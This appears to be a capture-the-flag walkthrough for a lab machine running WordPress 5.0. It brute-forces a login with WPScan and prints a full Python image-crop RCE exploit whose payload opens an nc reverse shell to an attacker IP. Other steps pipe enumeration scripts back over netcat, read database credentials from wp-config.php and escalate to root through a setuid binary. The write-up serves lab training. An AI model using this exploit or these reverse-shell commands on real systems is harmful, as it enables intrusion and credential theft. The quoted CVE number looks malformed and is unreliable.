👨💻Blog
Billy Joel made a blog on his home computer and has started working on it. It's going to be so awesome!
Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole...
In order to get the blog to work with AWS, you'll need to add blog.thm to your /etc/hosts file.
Enumeration
nmap -T4 -A -Pn blog.thm -vvv
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3hfvTN6e0P9PLtkjW4dy+6vpFSh1PwKRZrML7ArPzhx1yVxBP7kxeIt3lX/qJWpxyhlsQwoLx8KDYdpOZlX5Br1PskO6H66P+AwPMYwooSq24qC/Gxg4NX9MsH/lzoKnrgLDUaAqGS5ugLw6biXITEVbxrjBNdvrT1uFR9sq+Yuc1JbkF8dxMF51tiQF35g0Nqo+UhjmJJg73S/VI9oQtYzd2GnQC8uQxE8Vf4lZpo6ZkvTDQ7om3t/cvsnNCgwX28/TRcJ53unRPmos13iwIcuvtfKlrP5qIY75YvU4U9nmy3+tjqfB1e5CESMxKjKesH0IJTRhEjAyxjQ1HUINP
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJtovk1nbfTPnc/1GUqCcdh8XLsFpDxKYJd96BdYGPjEEdZGPKXv5uHnseNe1SzvLZBoYz7KNpPVQ8uShudDnOI=
| 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICfVpt7khg8YIghnTYjU1VgqdsCRVz7f1Mi4o4Z45df8
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 5.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 0s, deviation: 1s, median: -1s
| nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| BLOG<00> Flags: <unique><active>
| BLOG<03> Flags: <unique><active>
| BLOG<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2023-02-03T17:13:18+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-03T17:13:18
|_ start_date: N/A
SMB
smbclient -L //blog.thm/
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
BillySMB Disk Billy\'s local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
smbclient //blog.thm/BillySMB
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 26 19:17:05 2020
.. D 0 Tue May 26 18:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 19:17:01 2020
tswift.mp4 N 1236733 Tue May 26 19:13:45 2020
check-this.png N 3082 Tue May 26 19:13:43 2020
15413192 blocks of size 1024. 9788692 blocks available
smb: \> get Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (16.1 KiloBytes/sec) (average 16.1 KiloBytes/sec)
smb: \> get check-this.png
getting file \check-this.png of size 3082 as check-this.png (1.9 KiloBytes/sec) (average 9.9 KiloBytes/sec)
smb: \> get tswift.mp4
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (228.3 KiloBytes/sec) (average 139.7 KiloBytes/sec)
smb: \> exit
Website
Users
Hovering over the author names we can get their usernames which can potentially be used to bruteforce into the website.
kwheel
bjoel
WPScan
wpscan --url http://blog.thm/ --usernames 'kwheel' -P /usr/share/wordlists/rockyou.txt
[SUCCESS] - khweel / ███████
We managed to get into wp-admin
by bruteforcing the login. Let's see what we can do from here
Exploitation
Getting a Shell
Searching for Wordpress 5.0 Exploits
gives us this tool which we can try
# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution
# Date: 2020-02-01
# Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r)
# Discovery Author : RIPSTECH Technology
# Version: WordPress 5.0.0 and <= 4.9.8 .
# References : CVE-2019-89242 | CVE-2019-89242 | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
#/usr/bin/env python3
import requests
import re
import sys
from datetime import datetime
banner = """
__ __ _ ____ ____ _____
\ \ / /__ _ __ __| |_ __ _ __ ___ ___ ___ | _ \ / ___| ____|
\ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | | | _|
\ V V / (_) | | | (_| | |_) | | | __/\__ \__ \ | _ <| |___| |___
\_/\_/ \___/|_| \__,_| .__/|_| \___||___/___/ |_| \_\\____|_____|
|_|
5.0.0 and <= 4.9.8
"""
print(banner)
print("usage :")
print("=======")
usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>'
print(usage)
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
wp_theme = sys.argv[4] # wpscan results
lhost = '10.10.10.10' #attacker ip
lport = '4141' #listening port
date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'
imagename = 'gd.jpg'
# ======
# Note :
# ======
# It could be any jpg image, BUT there are some modifications first :
# 1- image name as : "gd.jpg"
# 2- place the image in the same directory as this exploit.
# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>"
data = {
'log':username,
'pwd':password,
'wp-submit':'Log In',
'redirect_to':url+'wp-admin/',
'testcookie':1
}
r = requests.post(url+'wp-login.php',data=data)
if r.status_code == 200:
print("[+] Login successful.\n")
else:
print("[-] Failed to login.")
exit(0)
cookies = r.cookies
print("[+] Getting Wp Nonce ... ")
res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)
if len(wp_nonce_list) == 0 :
print("[-] Failed to retrieve the _wpnonce \n")
exit(0)
else :
wp_nonce = wp_nonce_list[0]
print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n")
print("[+] Uploading the image ... ")
data = {
'name': 'gd.jpg',
'action': 'upload-attachment',
'_wpnonce': wp_nonce
}
image = {'async-upload': (imagename, open(imagename, 'rb'))}
r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)
if r_upload.status_code == 200:
image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]
_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
print('[+] Image uploaded successfully ! Image ID :'+ image_id+"\n")
else :
print("[-] Failed to receive a response for uploaded image ! try again . \n")
exit(0)
print("[+] Changing the path ... ")
data = {
'_wpnonce':_wp_nonce,
'action':'editpost',
'post_ID':image_id,
'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'
}
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
print("[+] Path has been changed successfully. \n")
else :
print("[-] Failed to change the path ! Make sure the theme is correcte .\n")
exit(0)
print("[+] Getting Ajax nonce ... ")
data = {
'action':'query-attachments',
'post_id':0,
'query[item]':43,
'query[orderby]':'date',
'query[order]':'DESC',
'query[posts_per_page]':40,
'query[paged]':1
}
res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text)
if res.status_code == 200 and len(ajax_nonce_list) != 0 :
ajax_nonce = ajax_nonce_list[0]
print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')
else :
print("[-] Failed to retrieve ajax_nonce.\n")
exit(0)
print("[+] Cropping the uploaded image ... ")
data = {
'action':'crop-image',
'_ajax_nonce':ajax_nonce,
'id':image_id,
'cropDetails[x1]':0,
'cropDetails[y1]':0,
'cropDetails[width]':200,
'cropDetails[height]':100,
'cropDetails[dst_width]':200,
'cropDetails[dst_height]':100
}
res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
if res.status_code == 200:
print("[+] Done . \n")
else :
print("[-] Erorr ! Try again \n")
exit(0)
print("[+] Creating a new post to include the image... ")
res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)
if res.status_code == 200:
_wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)[0]
post_id = re.findall(r'"post":{"id":(\w+),',res.text)[0]
print("[+] Post created successfully . \n")
else :
print("[-] Erorr ! Try again \n")
exit(0)
data={
'_wpnonce':_wpnonce,
'action':'editpost',
'post_ID':post_id,
'post_title':'RCE poc by v0lck3r',
'post_name':'RCE poc by v0lck3r',
'meta_input[_wp_page_template]':'cropped-rahali.jpg'
}
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
print("[+] POC is ready at : "+url+'?p='+post_id+'&0=id\n')
print("[+] Executing payload !")
requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies)
else :
print("[-] Error ! Try again (maybe change the payload) \n")
exit(0)
python3 exploit.py http://blog.thm:80/ kwheel <PASSWORD> twentytwenty
We first have to make a jpg and inject it with a payload:
curl https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTePwCC0g8ZGjII2IWJNvb9XtEyxXW6lLRW50api4SI&s --output gd.jpg
exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>"
# Dont forget to change the IP and Port from the POC to point to your machine.
nc -lvnp 4141
python3 exploit.py http://blog.thm/ kwheel <PASSWORD> twentytwenty
__ __ _ ____ ____ _____
\ \ / /__ _ __ __| |_ __ _ __ ___ ___ ___ | _ \ / ___| ____|
\ \ /\ / / _ \| '__/ _` | '_ \| ''__/ _ \/ __/ __| | |_) | | | _|
\ V V / (_) | | | (_| | |_) | | | __/\__ \__ \ | _ <| |___| |___
\_/\_/ \___/|_| \__,_| .__/|_| \___||___/___/ |_| \_\____|_____|
|_|
5.0.0 and <= 4.9.8
usage :
=======
python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>
[+] Login successful.
[+] Getting Wp Nonce ...
[+] Wp Nonce retrieved successfully ! _wpnonce : 826668b4dc
[+] Uploading the image ...
[+] Image uploaded successfully ! Image ID :38
[+] Changing the path ...
[+] Path has been changed successfully.
[+] Getting Ajax nonce ...
[+] Ajax Nonce retrieved successfully ! ajax_nonce : 80738d1e9d
[+] Cropping the uploaded image ...
[+] Done .
[+] Creatng a new post to include the image...
[+] Post created successfully .
[+] POC is ready at : http://blog.thm:80/?p=42&0=id
[+] Executing payload !
If this does not work for you then use metasploit
msf6 exploit(multi/http/wp_crop_rce) > options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.145.223 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme auto-detection if provided)
USERNAME kwheel yes The WordPress username to authenticate with
VHOST blog.thm no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.2.5.193 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
# Searching the /var/wordpress directory
ls
VAxzgJRLgC.php
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
$> cat wp-config.php
<..SNIP..>
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'blog');
/** MySQL database username */
define('DB_USER', 'wordpressuser');
/** MySQL database password */
define('DB_PASSWORD', '<BJOELPASSWORD>');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/** Custom FS Method */
define('FS_METHOD', 'direct');
<..SNIP..>
We have credentials to go to the bjoel
wordpress account now:
bjoel:BJOELPASSWORD
Elevating Permissions
Let us start by running linpeas to enumerate possible privesc paths:
python3 -m http.server 8080
nc -lvnp 4444 | tee linpeas.log # Starts a listener then outputs the results to a file
# Victim:
curl $IP:8080/linpeas.sh | sh | nc $IP 4444
# Replace $IP with your IP Address
Findings
╔═══════╗
═════════════════════════════════════╣ Cloud ╠═════════════════════════════════════
╚═══════╝
═╣ Google Cloud Platform? ............... No
═╣ AWS ECS? ............................. No
═╣ AWS EC2? ............................. Yes
═╣ AWS Lambda? .......................... No
╔══════════╣ AWS EC2 Enumeration
ami-id: ami-08a5de7340156b07d
instance-action: none
instance-id: i-0666034230f46a9f1
instance-life-cycle: on-demand
instance-type: t2.micro
region: eu-west-1
Couldn't find more with linpeas so I'll switch to Linux Smart Enumeration
# Attacker
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
## Tab 1
python3 -m http.server 8080
## Tab 2
nc -lvnp 4444 | tee lse.log
# Victim
curl $IP:8080/lse.sh | bash | nc $IP 4444
####
============================================================( file system )=====
[*] fst000 Writable files outside user\'s home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/sbin/checker
Let's look up checker on GTFOBins - Nothing... Let's download it instead and examine it further:
file checker
checker: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6cdb17533a6e02b838336bfe9791b5d57e1e2eea, not stripped
./checker
Not an Admin
Examining the file under Radare shows this:
Basically:
If user is admin -> /bin/bash
else -> Not an Admin -> Exit
Admin is not an actual linux environment variable, we can exploit this by adding our own variable by doing export admin=admin
We can see that no errors are generated this time. Let's try this on machine:
pwd
/usr/sbin
./checker
Not an Admin
export admin=admin
./checker
whoami
root
There's our privesc :)
As for the user flag - we can see from the termination letter that he uses USBs (naughty)
Let's check /media/usb
cd /media
ls
usb
cd usb
ls
user.txt
There we go!
Note: You'll probably find the Root flag before User, don't panic if you dont manage to find the user after foothold cause the USB has Root only permissions
Last updated